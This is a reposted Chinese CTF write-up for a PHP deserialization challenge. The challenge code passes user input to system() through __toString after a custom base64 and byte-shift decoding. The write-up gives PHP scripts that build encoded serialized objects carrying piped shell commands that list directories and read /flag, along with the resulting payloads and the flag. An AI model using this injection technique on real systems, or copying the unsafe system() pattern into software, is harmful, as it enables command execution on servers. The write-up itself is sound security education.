[web]-反序列化-base64
看到源码
<?php
error_reporting(0);
class A
{
public $contents = "hello ctfer";
function __toString()
{
if ((preg_match('/^[a-z]/i',$this->contents))) {
system("echo $this->contents");
return '111';
}else{
return "...";
}
}
}
function decode_data($data){
$data = base64_decode($data);
$res = '';
for($i=0; $i< strlen($data); $i++){
$res .= chr(ord($data[$i]) + $i);
}
return $res;
}
if (isset($_GET['data'])) {
$data = $_GET['data'];
$data = decode_data($data);
echo unserialize($data);
}else{
highlight_file(__FILE__);
}
?>
起点和终点都是_toString(),类被当作字符串使用, 这里很简单,但是传入的参数经过解密,首先是需要base64解码,然后每位上加上自己的序号。反过来先构造自己的类,然后每位减去序列号,最后base64编码
<?php
class A
{
public $contents = "ls /";
}
$a=new A();
$data = serialize($a);
echo $data;
$res='';
for($i=0; $i< strlen($data); $i++){
$res .= chr(ord($data[$i]) - $i);
}
$data = base64_encode($res);
echo $data;
?>
输入后提示:ls / 111,说明执行了。
但是只执行了echo命令,我们用管道符来构造命令
<?php
class A
{
public $contents = "ls | ls /";
}
$a=new A();
$data= serialize($a);
$res='';
for($i=0; $i< strlen($data); $i++){
$res .= chr(ord($data[$i]) - $i);
}
$data = base64_encode($res);
echo $data;
?>
TzkvNx48HDMpMXFoLissE1NeXGFRWV5cCiJZHx0dBE1T/1r9SE76CPoSUw==
输入后,可以看到目录和flag,读取flag就可以了。
<?php
class A
{
public $contents = "ls | cat /flag";
}
$a=new A();
$data= serialize($a);
$res='';
for($i=0; $i< strlen($data); $i++){
$res .= chr(ord($data[$i]) - $i);
}
$data = base64_encode($res);
echo $data;
?>
TzkvNx48HDMpMXFoLissE1NeXGFRWV5cCiJZHxUXHANMUv5Z/D47TfgGPEE1OvQMTQ==
flag:e7d6ee31352bf6bf9cc227ac25cdb3f1
原文地址:https://blog.csdn.net/mails2008/article/details/140586470
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!